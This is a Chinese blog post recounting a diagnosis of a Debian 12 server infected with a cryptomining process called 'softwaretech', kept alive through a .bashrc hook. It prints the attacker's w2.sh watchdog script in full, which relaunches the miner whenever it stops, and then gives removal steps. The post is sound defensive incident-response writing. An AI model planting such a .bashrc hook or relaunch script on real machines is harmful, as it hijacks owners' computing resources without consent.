服务器惊魂:Debian 12 遭遇 XMRig 挖矿木马,CPU 爆满排查实录
最近帮朋友排查一台 Debian 12 服务器,过程堪称“步步惊心”,从最初以为是磁盘空间不足,到最后揪出 XMRig 挖矿木马,整个排查思路非常值得记录下来,希望能给大家提供一些参考。
第一阶段:以为是假警报
事情的起因很常见:客户反馈服务器硬盘满了。
起初,我们检查了系统日志,发现客户似乎曾通过宝塔面板误删了 /proc 目录下的部分文件。这在 Linux 系统中是个相当危险的操作,虽然 /proc 是虚拟文件系统,直接删除通常不会立即炸盘,但配合宝塔的回收站机制(/.Recycle_bin),导致回收站里的引用文件大小异常膨胀,直接撑爆了剩余空间。
我们清理了回收站,释放了空间,心想这应该就是个“低级误操作”导致的事故。甚至客户自己还嘀咕了一句:“我这不会是中病毒了吧?”当时我们觉得不太像,毕竟症状太像误删文件了。
第二阶段:CPU 异常飙升
第二天,反馈来了:CPU 飙升至 100%。
查看系统日志,问题爆发的时间点非常清晰——前一天晚上 22:49 分开始。当时没多想,最简单粗暴的办法——重启。重启后,负载果然降下来了,服务器恢复平静。
为了保险起见,我们创建了一份快照,并将快照克隆成了一台新机器进行隔离运行。克隆机看起来很正常,我们就稍微松了口气。
第三阶段:木马显形
到了第三天,剧情反转了。原服务器的 CPU 再次“双叒叕”地满载了,而那台克隆机却运行良好。这给了我们一个极其重要的线索:问题出在原机的某个启动项或持久化机制上,而不是系统底层的死锁。
我们直接在克隆机上操作终端,准备排查进程。刚一打开终端,神奇的一幕发生了——终端里开始疯狂滚动日志,与此同时,CPU 占用瞬间起步。
执行 top 命令一查,罪魁祸首浮出水面:
PID %CPU %MEM CMD
22006 397 0.0 ./softwaretech
一个名为 softwaretech 的进程,CPU 占用率飙到了 397%(多核利用),这显然不是正常的业务软件,典型的挖矿程序特征(XMRig 正是常用的 CPU 挖矿工具)。
深度分析:.bashrc 劫持
既然一打开终端就触发,那嫌疑最大的就是 Shell 的配置文件。果然,在用户目录下的 .bashrc 文件末尾,发现了一行极不起眼的代码:
~/w2.sh
这行代码的意思是,每次用户登录终端(打开 SSH 或新开一个终端窗口)时,都会自动执行家目录下的 w2.sh 脚本。
恶意脚本逻辑拆解
我们查看了 w2.sh 的内容,这段脚本写得还颇有“技术含量”,包含了基本的进程守护逻辑:
#!/bin/bash
PROC_NAME="softwaretech"

*通过 top 命令发现名为 softwaretech 的恶意进程,CPU 占用率飙升至 397%*
# 获取当前所有进程状态和名称
all_procs=$(ps -e -o stat=,comm=)
# 检查名为 softwaretech 的进程是否存在
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')
if [ -z "$matches" ]; then
# 如果找不到进程,就启动它
cd ~
./softwaretech
else
# 如果找到了,检查是否是僵尸进程
alive=$(echo "$matches" | awk '$1 !~ /^Z/')
if [ -z "$alive" ]; then
# 如果是僵尸进程,重新启动
cd ~
./softwaretech
else
echo "process is running normally"
fi
fi
它的套路是这样的:
- 触发机制: 利用
.bashrc,只要管理员登录,脚本就运行。 - 隐蔽性: 脚本会先检查挖矿程序是否已经在跑。
- 守护机制: 如果没有跑,或者进程卡死(僵尸进程),脚本会自动重新拉起
./softwaretech。 - 日志伪装: 当你打开第二个终端窗口时,脚本会在后台检测进程状态,并打印
process is running normally,显得很正常,极具欺骗性。
解决方案与建议
遇到这种情况,千万不要试图只删文件,因为如果你不切断触发源头,它还是会卷土重来。
1. 立即止损
直接 kill -9 掉异常进程,并删除 ~/softwaretech 恶意文件和 ~/w2.sh 脚本。
2. 清理后门(关键)
编辑 ~/.bashrc,删除末尾的那行 ~/w2.sh。同时也要检查全局配置文件 /etc/bash.bashrc 和 /etc/profile,防止黑客留下了多个后门。
3. 检查定时任务
挖矿木马经常会配合 Crontab 进行持久化。务必检查 /var/spool/cron/crontabs/ 下的文件,以及 crontab -l 的输出。
4. 彻底清除与重装
正如我们在排查中发现的那样,克隆机因为是从快照来的,只要不触发那个用户的终端登录,木马就处于休眠状态。但对于已沦陷的原服务器,由于不知道黑客最初是通过什么漏洞进来的(可能是弱密码、宝塔面板漏洞或其他组件漏洞),最安全的做法是备份数据后重装系统,并修补所有已知漏洞。
这次经历也提醒我们:
- 不要在生产环境随意删除系统目录。
- 看到 CPU 满载、进程名可疑(如 XMRig、kdevtmpfsi 等)要立刻警惕。
- 定期检查用户目录下的隐藏启动脚本。
搞清楚原理后,其实这并不难解决,但如果不深挖逻辑,很容易被反复折腾。希望这篇实录能帮大家少走弯路!

评论已关闭